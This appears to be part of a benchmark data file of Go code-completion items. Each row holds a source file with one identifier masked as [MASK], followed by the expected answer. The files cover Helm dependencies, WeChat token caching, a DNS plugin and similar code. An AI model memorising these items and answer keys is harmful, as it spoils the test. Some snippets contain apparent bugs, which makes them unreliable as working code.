dm.Update(); err != nil { fmt.Printf(""error updating helm dependencies: %s\n"", out.String()) if err := dm.UpdateRepositories(); err != nil { return errors.Wrap(err, ""error during helm repository update"") } return dm.Update() } return nil } // IncrementChart version increments the patch version of the Chart. func IncrementChartVersion(chartPath string, incType IncType) error { c, err := chartutil.Load(chartPath) if err != nil { return err } chartVersion, err := getChartVersion(c) if err != nil { return err } var newVersion semver.Version switch incType { case IncTypes.Major: newVersion = chartVersion.IncMajor() case IncTypes.Minor: newVersion = chartVersion.IncMinor() default: newVersion = chartVersion.IncPatch() } c.Metadata.Version = newVersion.String() return writeChartMetadata(chartPath, c.Metadata) } // GetChartName returns the name of the chart in the given path or an error. func GetChartName(chartPath string) (string, error) { c, err := chartutil.Load(chartPath) if err != nil { return """", err } return c.GetMetadata().GetName(), nil } // loadDependencies loads the dependencies of the given chart. func loadDependencies(chartPath string, f *Filter) (*chartutil.Requirements, error) { c, err := chartutil.Load(chartPath) if err != nil { return nil, err } reqs, err := chartutil.LoadRequirements(c) if err != nil { return nil, err } var deps []*chartutil.Dependency for _, d := range reqs.Dependencies { if strings.Contains(d.Repository, filePrefix) { d.Repository = fmt.Sprintf(""%s%s"", filePrefix, filepath.Join(chartPath, strings.TrimPrefix(d.Repository, filePrefix))) } deps = append(deps, d) } reqs.Dependencies = f.FilterDependencies(deps) return reqs, nil } // findLatestVersionOfDependency returns the latest version of the given dependency in the repository. func findLatestVersionOfDependency(dep *chartutil.Dependency, helmSettings *helm_env.EnvSettings) (*semver.Version, error) { // Handle local dependencies. if strings.Contains(dep.Repository, filePrefix) { c, err := chartutil.Load(strings.TrimPrefix(dep.Repository, filePrefix)) if err != nil { return nil, err } return semver.NewVersion(c.Metadata.Version) } // Read the index file for the repository to get chart information and return chart URL repoIndex, err := repo.LoadIndexFile(helmSettings.Home.CacheIndex(normalizeRepoName(dep.Repository))) if err != nil { return nil, err } // With no version given the highest one is returned. cv, err := repoIndex.Get(dep.Name, """") if err != nil { return nil, err } return semver.NewVersion(cv.Version) } func sortRequirementsAlphabetically(reqs *chartutil.Requirements) *chartutil.Requirements { sort.Slice(reqs.Dependencies, func(i, j int) bool { return reqs.Dependencies[i].Name < reqs.Dependencies[j].Name }) return reqs } func parallelRepoUpdate(chartDeps *chartutil.Requirements, helmSettings *helm_env.EnvSettings) error { var repos []string for _, dep := range chartDeps.Dependencies { if !stringSliceContains(repos, dep.Repository) && !strings.Contains(dep.Repository, filePrefix) { repos = append(repos, dep.Repository) } } var wg sync.WaitGroup for _, c := range repos { tmpRepo := &repo.Entry{ Name: normalizeRepoName(c), URL: c, } r, err := repo.NewChartRepository(tmpRepo, getter.All(*helmSettings)) if err != nil { return err } wg.Add(1) go func(r *repo.ChartRepository) { if err := r.DownloadIndexFile(helmSettings.Home.CacheIndex(tmpRepo.Name)); err != nil { fmt.Printf(""unable to get an update from the %q chart repository (%s):\n\t%s\n"", r.Config.Name, r.Config.URL, err) } else { fmt.Printf(""successfully got an update from the %q chart repository\n"", r.Config.URL) } wg.Done() }(r) } wg.Wait() return nil } ",reqsToUpdate 840,"package credential import ( ""context"" ""encoding/json"" ""fmt"" ""sync"" ""time"" ""github.com/silenceper/wechat/v2/cache"" ""github.com/silenceper/wechat/v2/util"" ) const ( // accessTokenURL 获取access_token的接口 accessTokenURL = ""https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=%s&secret=%s"" // stableAccessTokenURL 获取稳定版access_token的接口 stableAccessTokenURL = ""https://api.weixin.qq.com/cgi-bin/stable_token"" // workAccessTokenURL 企业微信获取access_token的接口 workAccessTokenURL = ""https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=%s&corpsecret=%s"" // CacheKeyOfficialAccountPrefix 微信公众号cache key前缀 CacheKeyOfficialAccountPrefix = ""gowechat_officialaccount_"" // CacheKeyMiniProgramPrefix 小程序cache key前缀 CacheKeyMiniProgramPrefix = ""gowechat_miniprogram_"" // CacheKeyWorkPrefix 企业微信cache key前缀 CacheKeyWorkPrefix = ""gowechat_work_"" ) // DefaultAccessToken 默认AccessToken 获取 type DefaultAccessToken struct { appID string appSecret string cacheKeyPrefix string cache cache.Cache accessTokenLock *sync.Mutex } // NewDefaultAccessToken new DefaultAccessToken func NewDefaultAccessToken(appID, appSecret, cacheKeyPrefix string, cache cache.Cache) AccessTokenContextHandle { if cache == nil { panic(""cache is ineed"") } return &DefaultAccessToken{ appID: appID, appSecret: appSecret, cache: cache, cacheKeyPrefix: cacheKeyPrefix, accessTokenLock: new(sync.Mutex), } } // ResAccessToken struct type ResAccessToken struct { util.CommonError AccessToken string `json:""access_token""` ExpiresIn int64 `json:""expires_in""` } // GetAccessToken 获取access_token,先从cache中获取,没有则从服务端获取 func (ak *DefaultAccessToken) GetAccessToken() (accessToken string, err error) { return ak.GetAccessTokenContext(context.Background()) } // GetAccessTokenContext 获取access_token,先从cache中获取,没有则从服务端获取 func (ak *DefaultAccessToken) GetAccessTokenContext(ctx context.Context) (accessToken string, err error) { // 先从cache中取 accessTokenCacheKey := fmt.Sprintf(""%s_access_token_%s"", ak.cacheKeyPrefix, ak.appID) if val := ak.cache.Get(accessTokenCacheKey); val != nil { if accessToken = val.(string); accessToken != """" { return } } // 加上lock,是为了防止在并发获取token时,cache刚好失效,导致从微信服务器上获取到不同token ak.accessTokenLock.Lock() defer ak.accessTokenLock.Unlock() // 双检,防止重复从微信服务器获取 if val := ak.cache.Get(accessTokenCacheKey); val != nil { if accessToken = val.(string); accessToken != """" { return } } // cache失效,从微信服务器获取 var resAccessToken ResAccessToken if resAccessToken, err = GetTokenFromServerContext(ctx, fmt.Sprintf(accessTokenURL, ak.appID, ak.appSecret)); err != nil { return } expires := resAccessToken.ExpiresIn - 1500 err = ak.cache.Set(accessTokenCacheKey, resAccessToken.AccessToken, time.Duration(expires)*time.Second) accessToken = resAccessToken.AccessToken return } // StableAccessToken 获取稳定版接口调用凭据(与getAccessToken获取的调用凭证完全隔离,互不影响) // 不强制更新access_token,可用于不同环境不同服务而不需要分布式锁以及公用缓存,避免access_token争抢 // https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/mp-access-token/getStableAccessToken.html type StableAccessToken struct { appID string appSecret string cacheKeyPrefix string cache cache.Cache accessTokenLock *sync.Mutex } // NewStableAccessToken new StableAccessToken func NewStableAccessToken(appID, appSecret, cacheKeyPrefix string, cache cache.Cache) AccessTokenContextHandle { if cache == nil { panic(""cache is need"") } return &StableAccessToken{ appID: appID, appSecret: appSecret, cache: cache, cacheKeyPrefix: cacheKeyPrefix, accessTokenLock: new(sync.Mutex), } } // GetAccessToken 获取access_token,先从cache中获取,没有则从服务端获取 func (ak *StableAccessToken) GetAccessToken() (accessToken string, err error) { return ak.GetAccessTokenContext(context.Background()) } // GetAccessTokenContext 获取access_token,先从cache中获取,没有则从服务端获取 func (ak *StableAccessToken) GetAccessTokenContext(ctx context.Context) (accessToken string, err error) { // 先从cache中取 accessTokenCacheKey := fmt.Sprintf(""%s_stable_access_token_%s"", ak.cacheKeyPrefix, ak.appID) if val := ak.cache.Get(accessTokenCacheKey); val != nil { if accessToken = val.(string); accessToken != """" { return } } // 加上lock,是为了防止在并发获取token时,cache刚好失效,导致从微信服务器上获取到不同token ak.accessTokenLock.Lock() defer ak.accessTokenLock.Unlock() // 双检,防止重复从微信服务器获取 if val := ak.cache.Get(accessTokenCacheKey); val != nil { if accessToken = val.(string); accessToken != """" { return } } // cache失效,从微信服务器获取 var resAccessToken ResAccessToken resAccessToken, err = ak.GetAccessTokenDirectly(ctx, false) if err != nil { return } expires := resAccessToken.ExpiresIn - 300 err = ak.cache.Set(accessTokenCacheKey, resAccessToken.AccessToken, time.Duration(expires)*time.Second) accessToken = resAccessToken.AccessToken return } // GetAccessTokenDirectly 从微信获取access_token func (ak *StableAccessToken) GetAccessTokenDirectly(ctx context.Context, [MASK] bool) (resAccessToken ResAccessToken, err error) { b, err := util.PostJSONContext(ctx, stableAccessTokenURL, map[string]interface{}{ ""grant_type"": ""client_credential"", ""appid"": ak.appID, ""secret"": ak.appSecret, ""force_refresh"": [MASK] , }) if err != nil { return } if err = json.Unmarshal(b, &resAccessToken); err != nil { return } if resAccessToken.ErrCode != 0 { err = fmt.Errorf(""get stable access_token error : errcode=%v , errormsg=%v"", resAccessToken.ErrCode, resAccessToken.ErrMsg) return } return } // WorkAccessToken 企业微信AccessToken 获取 type WorkAccessToken struct { CorpID string CorpSecret string AgentID string // 可选,用于区分不同应用 cacheKeyPrefix string cache cache.Cache accessTokenLock *sync.Mutex } // NewWorkAccessToken new WorkAccessToken (保持向后兼容) func NewWorkAccessToken(corpID, corpSecret, agentID, cacheKeyPrefix string, cache cache.Cache) AccessTokenContextHandle { // 调用新方法,保持兼容性 return NewWorkAccessTokenWithAgentID(corpID, corpSecret, agentID, cacheKeyPrefix, cache) } // NewWorkAccessTokenWithAgentID new WorkAccessToken with agentID func NewWorkAccessTokenWithAgentID(corpID, corpSecret, agentID, cacheKeyPrefix string, cache cache.Cache) AccessTokenContextHandle { if cache == nil { panic(""cache is needed"") } return &WorkAccessToken{ CorpID: corpID, CorpSecret: corpSecret, AgentID: agentID, cache: cache, cacheKeyPrefix: cacheKeyPrefix, accessTokenLock: new(sync.Mutex), } } // GetAccessToken 企业微信获取access_token,先从cache中获取,没有则从服务端获取 func (ak *WorkAccessToken) GetAccessToken() (accessToken string, err error) { return ak.GetAccessTokenContext(context.Background()) } // GetAccessTokenContext 企业微信获取access_token,先从cache中获取,没有则从服务端获取 func (ak *WorkAccessToken) GetAccessTokenContext(ctx context.Context) (accessToken string, err error) { // 加上lock,是为了防止在并发获取token时,cache刚好失效,导致从微信服务器上获取到不同token ak.accessTokenLock.Lock() defer ak.accessTokenLock.Unlock() // 构建缓存key var accessTokenCacheKey string if ak.AgentID != """" { // 如果设置了AgentID,使用新的key格式 accessTokenCacheKey = fmt.Sprintf(""%s_access_token_%s_%s"", ak.cacheKeyPrefix, ak.CorpID, ak.AgentID) } else { // 兼容历史版本的key格式 accessTokenCacheKey = fmt.Sprintf(""%s_access_token_%s"", ak.cacheKeyPrefix, ak.CorpID) } val := ak.cache.Get(accessTokenCacheKey) if val != nil { accessToken = val.(string) return } // cache失效,从微信服务器获取 var resAccessToken ResAccessToken resAccessToken, err = GetTokenFromServerContext(ctx, fmt.Sprintf(workAccessTokenURL, ak.CorpID, ak.CorpSecret)) if err != nil { return } expires := resAccessToken.ExpiresIn - 1500 err = ak.cache.Set(accessTokenCacheKey, resAccessToken.AccessToken, time.Duration(expires)*time.Second) if err != nil { return } accessToken = resAccessToken.AccessToken return } // GetTokenFromServer 强制从微信服务器获取token func GetTokenFromServer(url string) (resAccessToken ResAccessToken, err error) { return GetTokenFromServerContext(context.Background(), url) } // GetTokenFromServerContext 强制从微信服务器获取token func GetTokenFromServerContext(ctx context.Context, url string) (resAccessToken ResAccessToken, err error) { var body []byte body, err = util.HTTPGetContext(ctx, url) if err != nil { return } err = json.Unmarshal(body, &resAccessToken) if err != nil { return } if resAccessToken.ErrCode != 0 { err = fmt.Errorf(""get access_token error : errcode=%v , errormsg=%v"", resAccessToken.ErrCode, resAccessToken.ErrMsg) return } return } ",forceRefresh 841,"package glob // ACL implements the Matcher interface to apply standard ACL // style criteria to the provided input. type ACL struct { Allow []Matcher Deny []Matcher Default bool } // Match will evaluate the lists, with the following rules: // - If anything in the Deny list matches, the value does not match // - If anything in the Allow list matches, the value matches // - If nothing matches, the Default is returned // // Thread safe under the following conditions: // - All Matchers must be thread safe (the ones provided by this package are) // - The ACL struct itself is not being modified by another thread func (acl *ACL) Match(value string) bool { for _, m := range acl.Deny { if m.Match(value) { return false } } for _, m := range acl.Allow { if m.Match(value) { return true } } return acl.Default } // NewACL is a helper function to create an ACL style Matcher, using // the provided strings as glob style Matchers. Additional Matchers // can be added to the lists later if desired. func NewACL(allow []string, deny []string, [MASK] bool) *ACL { acl := &ACL{ Default: [MASK] , } for _, pattern := range allow { acl.Allow = append(acl.Allow, NewMatcher(pattern)) } for _, pattern := range deny { acl.Deny = append(acl.Deny, NewMatcher(pattern)) } return acl } var _ = Matcher(&ACL{}) ",def 842,"package pkgCtl import ( ""sort"" ) var ( units = make([]Unit, 0, 16) ) type ( Handler interface { mustEmbedUnimplemented() Create() error Start() error Destroy() error Async() bool } HandlerFunc func(*Context) Handler Unit struct { Seq int Name string Handle HandlerFunc } DUnit struct { Seq int Name string Unit Handler } UnimplementedHandler struct{} ) func (h UnimplementedHandler) mustEmbedUnimplemented() {} func (h UnimplementedHandler) Create() error { panic(""Unimplemented Create"") } func (h UnimplementedHandler) Start() error { panic(""Unimplemented Create"") } func (h UnimplementedHandler) Destroy() error { panic(""Unimplemented Create"") } func (h UnimplementedHandler) Async() bool { panic(""Unimplemented Create"") } func Register(seq int, name string, [MASK] HandlerFunc) { units = append(units, Unit{ Seq: seq, Name: name, Handle: [MASK] , }) } func Bootstrap(activeFunc func()) { if activeFunc == nil { panic(""===== unset active func ====="") } activeFunc() sort.Slice(units, func(i, j int) bool { return units[i].Seq < units[j].Seq }) } ",handler 843,"// Package ens implements a plugin that returns information held in the Ethereum Name Service. package avvy import ( ""bytes"" ""context"" ""errors"" ""fmt"" ""strings"" ""time"" ""github.com/coredns/coredns/plugin"" ""github.com/coredns/coredns/request"" ""github.com/ethereum/go-ethereum/ethclient"" ""github.com/ethereum/go-ethereum/common"" lru ""github.com/hashicorp/golang-lru"" ""github.com/labstack/gommon/log"" avvy ""github.com/avvydomains/golang-client"" ""github.com/miekg/dns"" ) var emptyContentHash = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // Avvy is a plugin that returns information held in the Avalanche Name Service. type Avvy struct { Next plugin.Handler Client *ethclient.Client Registry *avvy.Registry IPFSGatewayAs []string IPFSGatewayAAAAs []string } // IsAuthoritative checks if the Avvy plugin is authoritative for a given domain func (a Avvy) IsAuthoritative(domain string) bool { domain, hash := a.Resolve(strings.TrimSuffix(domain, ""."")) if a.IsExpired(hash) { return false } controllerAddress, err := a.GetResolver(domain, hash) if err != nil { return false } return controllerAddress != common.HexToAddress(""00"") } // HasRecords checks if there are any records for a specific domain and name. // This is used for wildcard eligibility func (a Avvy) HasRecords(domain string, name string) (bool, error) { // See if this has a contenthash record. resolver, err := a.ResolveStandard(domain) if err != nil { return false, err } bytes, err := resolver.Contenthash() if err == nil && len(bytes) > 0 { return true, err } // See if this has DNS records. dnsResolver, err := a.getDNSResolver(strings.TrimSuffix(domain, ""."")) if err != nil { return false, err } return dnsResolver.HasRecords(name) } // Query queries a given domain/name/resource combination func (a Avvy) Query(domain string, name string, qtype uint16, do bool) ([]dns.RR, error) { log.Debugf(""Request type %d for name %s in domain %v"", qtype, name, domain) results := make([]dns.RR, 0) // If the requested domain has a content hash we alter a number of the records returned var contentHash []byte hasContentHash := false var err error if qtype == dns.TypeSOA || qtype == dns.TypeNS || qtype == dns.TypeTXT || qtype == dns.TypeA || qtype == dns.TypeAAAA { contentHash, err = a.obtainContentHash(name, domain) hasContentHash = err == nil && bytes.Compare(contentHash, emptyContentHash) > 0 } if hasContentHash { switch qtype { case dns.TypeSOA: results, err = a.handleSOA(name, domain, contentHash) case dns.TypeNS: results, err = a.handleNS(name, domain, contentHash) case dns.TypeTXT: results, err = a.handleTXT(name, domain, contentHash) case dns.TypeA: results, err = a.handleA(name, domain, contentHash) case dns.TypeAAAA: results, err = a.handleAAAA(name, domain, contentHash) } } else { avaxDomain := strings.TrimSuffix(domain, ""."") resolver, err := a.getDNSResolver(avaxDomain) if err != nil { return results, nil } data, err := resolver.Record(name, qtype) if err != nil { return results, err } offset := 0 for offset < len(data) { var result dns.RR result, offset, err = dns.UnpackRR(data, offset) if err == nil { results = append(results, result) } } } return results, nil } func (a Avvy) handleSOA(name string, domain string, contentHash []byte) ([]dns.RR, error) { results := make([]dns.RR, 0) return results, nil } func (a Avvy) handleNS(name string, domain string, contentHash []byte) ([]dns.RR, error) { results := make([]dns.RR, 0) return results, nil } func (a Avvy) handleTXT(name string, domain string, contentHash []byte) ([]dns.RR, error) { results := make([]dns.RR, 0) txtRRSet, err := a.obtainTXTRRSet(name, domain) if err == nil && len(txtRRSet) != 0 { // We have a TXT rrset; use it offset := 0 for offset < len(txtRRSet) { var result dns.RR result, offset, err = dns.UnpackRR(txtRRSet, offset) if err == nil { results = append(results, result) } } } if isRealOnChainDomain(name, domain) { avaxDomain := strings.TrimSuffix(domain, ""."") hash, err := a.NameHash(avaxDomain) if err != nil { log.Warnf(""error obtaining resolver for %s: %v"", avaxDomain, err) return results, nil } address, err := a.getResolver(hash, hash) if err != nil { if err.Error() != ""abi: unmarshalling empty output"" { return results, err } return results, nil } if address != common.HexToAddress(""00"") { result, err := dns.NewRR(fmt.Sprintf(""%s 3600 IN TXT \""a=%s\"""", name, address.Hex())) if err != nil { return results, err } results = append(results, result) } result, err := dns.NewRR(fmt.Sprintf(""%s 3600 IN TXT \""contenthash=0x%x\"""", name, contentHash)) if err != nil { return results, err } results = append(results, result) // Also provide dnslink for compatibility with older IPFS gateways contentHashStr, err := avvy.ContenthashToString(contentHash) if err != nil { return results, err } result, err = dns.NewRR(fmt.Sprintf(""%s 3600 IN TXT \""dnslink=%s\"""", name, contentHashStr)) if err != nil { return results, nil } results = append(results, result) } else if isRealOnChainDomain(strings.TrimPrefix(name, ""_dnslink.""), domain) { // This is a request to _dnslink., return the DNS link record. contentHashStr, err := avvy.ContenthashToString(contentHash) if err != nil { return results, err } result, err := dns.NewRR(fmt.Sprintf(""%s 3600 IN TXT \""dnslink=%s\"""", name, contentHashStr)) if err != nil { return results, err } results = append(results, result) } return results, nil } func (a Avvy) handleA(name string, domain string, contentHash []byte) ([]dns.RR, error) { results := make([]dns.RR, 0) aRRSet, err := a.obtainARRSet(name, domain) if err == nil && len(aRRSet) != 0 { // We have an A rrset; use it offset := 0 for offset < len(aRRSet) { var result dns.RR result, offset, err = dns.UnpackRR(aRRSet, offset) if err == nil { results = append(results, result) } } } else { // We have a content hash but no A record; use the default for i := range a.IPFSGatewayAs { result, err := dns.NewRR(fmt.Sprintf(""%s 3600 IN A %s"", name, e.IPFSGatewayAs[i])) if err != nil { return results, err } results = append(results, result) } } return results, nil } func (a Avvy) handleAAAA(name string, domain string, contentHash []byte) ([]dns.RR, error) { results := make([]dns.RR, 0) [MASK] , err := a.obtainAAAARRSet(name, domain) if err == nil && len( [MASK] ) != 0 { // We have an AAAA rrset; use it offset := 0 for offset < len( [MASK] ) { var result dns.RR result, offset, err = dns.UnpackRR( [MASK] , offset) if err == nil { results = append(results, result) } } } else { // We have a content hash but no AAAA record; use the default for i := range a.IPFSGatewayAAAAs { result, err := dns.NewRR(fmt.Sprintf(""%s 3600 IN AAAA %s"", name, e.IPFSGatewayAAAAs[i])) if err != nil { log.Warnf(""error creating %s AAAA RR: %v"", name, err) } results = append(results, result) } } return results, nil } // ServeDNS implements the plugin.Handler interface. func (ad Avvy) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { state := request.Request{W: w, Req: r} a := new(dns.Msg) a.SetReply(r) a.Compress = true a.Authoritative = true var result Result a.Answer, a.Ns, a.Extra, result = Lookup(e, state) switch result { case Success: state.SizeAndDo(a) w.WriteMsg(a) return dns.RcodeSuccess, nil case NoData: if ad.Next == nil { state.SizeAndDo(a) w.WriteMsg(a) return dns.RcodeSuccess, nil } return plugin.NextOrFailure(e.Name(), e.Next, ctx, w, r) case NameError: a.Rcode = dns.RcodeNameError case ServerFailure: return dns.RcodeServerFailure, nil } // Unknown result... return dns.RcodeServerFailure, nil } func (a Avvy) obtainARRSet(name string, domain string) ([]byte, error) { avaxDomain := strings.TrimSuffix(domain, ""."") resolver, err := a.getDNSResolver(avaxDomain) if err != nil { return []byte{}, nil } return resolver.Record(name, dns.TypeA) } func (a Avvy) obtainAAAARRSet(name string, domain string) ([]byte, error) { avaxDomain := strings.TrimSuffix(domain, ""."") resolver, err := a.getDNSResolver(avaxDomain) if err != nil { return []byte{}, nil } return resolver.Record(name, dns.TypeAAAA) } func (a Avvy) obtainContentHash(name string, domain string) ([]byte, error) { avaxDomain := strings.TrimSuffix(domain, ""."") resolver, err := a.getResolver(avaxDomain) if err != nil { return []byte{}, nil } return resolver.Contenthash() } func (a Avvy) obtainTXTRRSet(name string, domain string) ([]byte, error) { avaxDomain := strings.TrimSuffix(domain, ""."") resolver, err := a.getDNSResolver(avaxDomain) if err != nil { return []byte{}, nil } return resolver.Record(name, dns.TypeTXT) } // Name implements the Handler interface. func (a Avvy) Name() string { return ""avvy"" } // isRealOnChainDomain will return true if the name requested // is also the domain, which implies the entry has an on-chain // presence func isRealOnChainDomain(name string, domain string) bool { return name == domain } var resolverCache *lru.Cache var dnsResolverCache *lru.Cache func init() { resolverCache, _ = lru.New(16) dnsResolverCache, _ = lru.New(16) } func (a *Avvy) getDNSResolver(domain string) (*avvy.DNSResolver, error) { if !dnsResolverCache.Contains(domain) { resolver, err := avvy.NewDNSResolver(a.Client, domain) if err == nil { dnsResolverCache.Add(domain, resolver) } else { if err.Error() == ""no contract code at given address"" || strings.HasSuffix(err.Error(), "" is not a DNS resolver contract"") { dnsResolverCache.Add(domain, nil) } } } resolver, _ := dnsResolverCache.Get(domain) if resolver == nil { return nil, errors.New(""no resolver"") } return resolver.(*avvy.DNSResolver), nil } func (a *Avvy) newDNSResolver(domain string) (*avvy.DNSResolver, error) { // Obtain the resolver address for this domain resolver, err := a.Registry.ResolverAddress(domain) if err != nil { return nil, err } return avvy.NewDNSResolverAt(a.Client, domain, resolver) } func (a *Avvy) getResolver(domain string) (*avvy.Resolver, error) { if !resolverCache.Contains(domain) { resolver, err := a.newResolver(domain) if err == nil { resolverCache.Add(domain, resolver) } else { if err.Error() == ""no contract code at given address"" || strings.HasSuffix(err.Error(), "" is not a resolver contract"") { resolverCache.Add(domain, nil) } } } resolver, _ := resolverCache.Get(domain) if resolver == nil { return nil, errors.New(""no resolver"") } return resolver.(*avvy.Resolver), nil } func (a *Avvy) newResolver(domain string) (*avvy.Resolver, error) { // Obtain the resolver address for this domain resolver, err := a.Registry.ResolverAddress(domain) if err != nil { return nil, err } return avvy.NewResolverAt(a.Client, domain, resolver) } // Ready returns true if we're ready to serve DNS records i.e. our chain is synced func (a Avvy) Ready() bool { progress, err := a.Client.SyncProgress(context.Background()) if err != nil { return false } return progress == nil } ",aaaaRRSet 844,"package ow import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ) type Params struct { Value json.RawMessage `json:""value""` ActivationID string `json:""activation_id""` ActionName string `json:""action_name""` Deadline string `json:""deadline""` ApiKey string `json:""api_key""` Namespace string `json:""namespace""` } type ErrResponse struct { Error string `json:""error""` } type Callback func(json.RawMessage) (interface{}, error) var action callback func RegisterAction(cb Callback) { action = cb setupHandlers() } func initHandler(w http.ResponseWriter, r *http.Request) { w.Header().Set(""Content-Type"", ""application/json"") } func sendError(w http.ResponseWriter, code int, cause string) { fmt.Println(""action error:"", cause) errResponse := ErrResponse{Error: cause} b, err := json.Marshal(errResponse) if err != nil { fmt.Println(""error marshalling error response:"", err) } w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(code) w.Write(b) } func runHandler(w http.ResponseWriter, r *http.Request) { params := Params{} defer r.Body.Close() bodyBytes, err := ioutil.ReadAll(r.Body) if err != nil { sendError(w, http.StatusBadRequest, fmt.Sprintf(""Error reading request body: %v"", err)) return } if err := json.Unmarshal(bodyBytes, ¶ms); err != nil { sendError(w, http.StatusBadRequest, fmt.Sprintf(""Error unmarshaling request: %v"", err)) return } // Propagate values from params such as api_key into environment variables if err := propagateParamsToEnvironment(params); err != nil { sendError(w, http.StatusInternalServerError, fmt.Sprintf(""Error setting environment for action: %v"", err)) return } response, err := action(params.Value) if err != nil { sendError(w, http.StatusInternalServerError, fmt.Sprintf(""Error executing action: %v"", err)) return } b, err := json.Marshal(response) if err != nil { sendError(w, http.StatusInternalServerError, fmt.Sprintf(""Error marshaling response: %v"", err)) return } w.Header().Set(""Content-Type"", ""application/json"") // Set the content-length to avoid using chunked transfer encoding, which will cause OpenWhisk to return error: // ""error"": ""The action did not produce a valid response and exited unexpectedly."" // Workaround source: https://stackoverflow.com/questions/34794647/disable-chunked-transfer-encoding-in-go-without-using-content-length // Related issue: https://github.com/jthomas/ow/issues/2 w.Header().Set(""Content-Length"", fmt.Sprintf(""%v"", len(b))) [MASK] , err := w.Write(b) if err != nil { sendError(w, http.StatusInternalServerError, fmt.Sprintf(""Error writing response: %v"", err)) return } if [MASK] != len(b) { sendError(w, http.StatusInternalServerError, fmt.Sprintf(""Only wrote %d of %d bytes to response"", [MASK] , len(b))) return } } func propagateParamsToEnvironment(params Params) error { if params.ApiKey != """" { if err := os.Setenv(""__OW_API_KEY"", params.ApiKey); err != nil { return err } } if params.Namespace != """" { if err := os.Setenv(""__OW_NAMESPACE"", params.Namespace); err != nil { return err } } if params.ActionName != """" { if err := os.Setenv(""__OW_ACTION_NAME"", params.ActionName); err != nil { return err } } if params.ActivationID != """" { if err := os.Setenv(""__OW_ACTIVATION_ID"", params.ActivationID); err != nil { return err } } if params.Deadline != """" { if err := os.Setenv(""__OW_DEADLINE"", params.Deadline); err != nil { return err } } return nil } func setupHandlers() { http.HandleFunc(""/init"", initHandler) http.HandleFunc(""/run"", runHandler) http.ListenAndServe("":8080"", nil) } ",numBytesWritten 845,"//---------------------------------------- // // Copyright © yanghy. All Rights Reserved. // // Licensed under Apache License Version 2.0, January 2004 // // https://www.apache.org/licenses/LICENSE-2.0 // //---------------------------------------- package main import ( ""archive/zip"" ""bytes"" ""compress/zlib"" ""fmt"" ""github.com/energye/liblclbinres/v2/genbinres/home"" ""hash/crc32"" ""io/fs"" ""io/ioutil"" ""os"" ""path/filepath"" ""strings"" ) var liblclVersion = ""v0.0.0"" // liblcl发布版本 const ( golcl = ""golcl"" ) func main() { if len(os.Args) > 1 { liblclVersion = os.Args[1] if liblclVersion[0] != 'v' { println(""liblcl version is error"") os.Exit(1) } } else { println(""liblcl version is nil"") os.Exit(1) } wd, _ := os.Getwd() libLCLBinResDir := filepath.Join(wd, ""../"") if strings.LastIndex(libLCLBinResDir, ""liblclbinres"") == -1 { libLCLBinResDir = filepath.Join(libLCLBinResDir, ""liblclbinres"") } println(""liblcl version:"", liblclVersion) println(""out liblcl dir:"", libLCLBinResDir) // 用户目录 dir, err := home.Dir() if err != nil { panic(err) } [MASK] := filepath.Join(dir, golcl) fmt.Println(""用户目录:"", dir) finfo, err := ioutil.ReadDir( [MASK] ) if err != nil { panic(err) } for _, info := range finfo { zipPath := filepath.Join( [MASK] , info.Name()) zz, err := zip.OpenReader(zipPath) if err != nil { println(""open-zip-error:"", err.Error()) continue } defer zz.Close() var ( file fs.File ) name := strings.ToLower(info.Name()) if strings.Contains(name, ""windows"") { file, err = zz.Open(""liblcl.dll"") } else if strings.Contains(name, ""linux"") { file, err = zz.Open(""liblcl.so"") } else if strings.Contains(name, ""macos"") { file, err = zz.Open(""liblcl.dylib"") } if err != nil { println(""open-dll-error:"", err.Error()) continue } defer file.Close() data, err := ioutil.ReadAll(file) if err != nil { println(""read-dll-error:"", err.Error()) continue } if strings.Contains(name, ""liblcl.windows32.zip"") { // windows 32 genresByte(data, ""windows && latest"", filepath.Join(libLCLBinResDir, ""liblcl_windows_386.go"")) } else if strings.Contains(name, ""liblcl.windows64.zip"") { // windows 64 genresByte(data, ""windows && latest"", filepath.Join(libLCLBinResDir, ""liblcl_windows_amd64.go"")) } else if strings.Contains(name, ""liblcl.windowsarm64.zip"") { // windows arm64 genresByte(data, ""windows && latest"", filepath.Join(libLCLBinResDir, ""liblcl_windows_arm64.go"")) } else if strings.Contains(name, ""liblcl-109.windows32.zip"") { // windows - 109 32 genresByte(data, ""windows && 109"", filepath.Join(libLCLBinResDir, ""liblcl_windows7_386.go"")) } else if strings.Contains(name, ""liblcl-109.windows64.zip"") { // windows - 109 64 genresByte(data, ""windows && 109"", filepath.Join(libLCLBinResDir, ""liblcl_windows7_amd64.go"")) } else if strings.Contains(name, ""liblcl.linux64.zip"") { // linux 64 genresByte(data, ""linux && latest"", filepath.Join(libLCLBinResDir, ""liblcl_gtk3_linux_amd64.go"")) } else if strings.Contains(name, ""liblcl.linuxarm64.zip"") { // linux arm64 genresByte(data, ""linux && latest"", filepath.Join(libLCLBinResDir, ""liblcl_gtk3_linux_arm64.go"")) } else if strings.Contains(name, ""liblcl.linux64gtk2.zip"") { // linux - 106 64 genresByte(data, ""linux && 106"", filepath.Join(libLCLBinResDir, ""liblcl_gtk2_linux_amd64.go"")) } else if strings.Contains(name, ""liblcl.linuxarm64gtk2.zip"") { // linux - 106 arm64 genresByte(data, ""linux && 106"", filepath.Join(libLCLBinResDir, ""liblcl_gtk2_linux_arm64.go"")) } else if strings.Contains(name, ""liblcl.macosarm64.zip"") { // macos arm64 genresByte(data, ""darwin && latest"", filepath.Join(libLCLBinResDir, ""liblcl_darwin_arm64.go"")) } else if strings.Contains(name, ""liblcl.macosx64.zip"") { // macosx 64 genresByte(data, ""darwin && latest"", filepath.Join(libLCLBinResDir, ""liblcl_darwin_amd64.go"")) } } genresLiblclVersion(libLCLBinResDir, liblclVersion) } func fileExists(path string) bool { _, err := os.Stat(path) if err == nil { return true } if os.IsNotExist(err) { return false } return false } // zlib压缩 func zlibCompress(input []byte) ([]byte, error) { var in bytes.Buffer w, err := zlib.NewWriterLevel(&in, zlib.BestCompression) if err != nil { return nil, err } _, err = 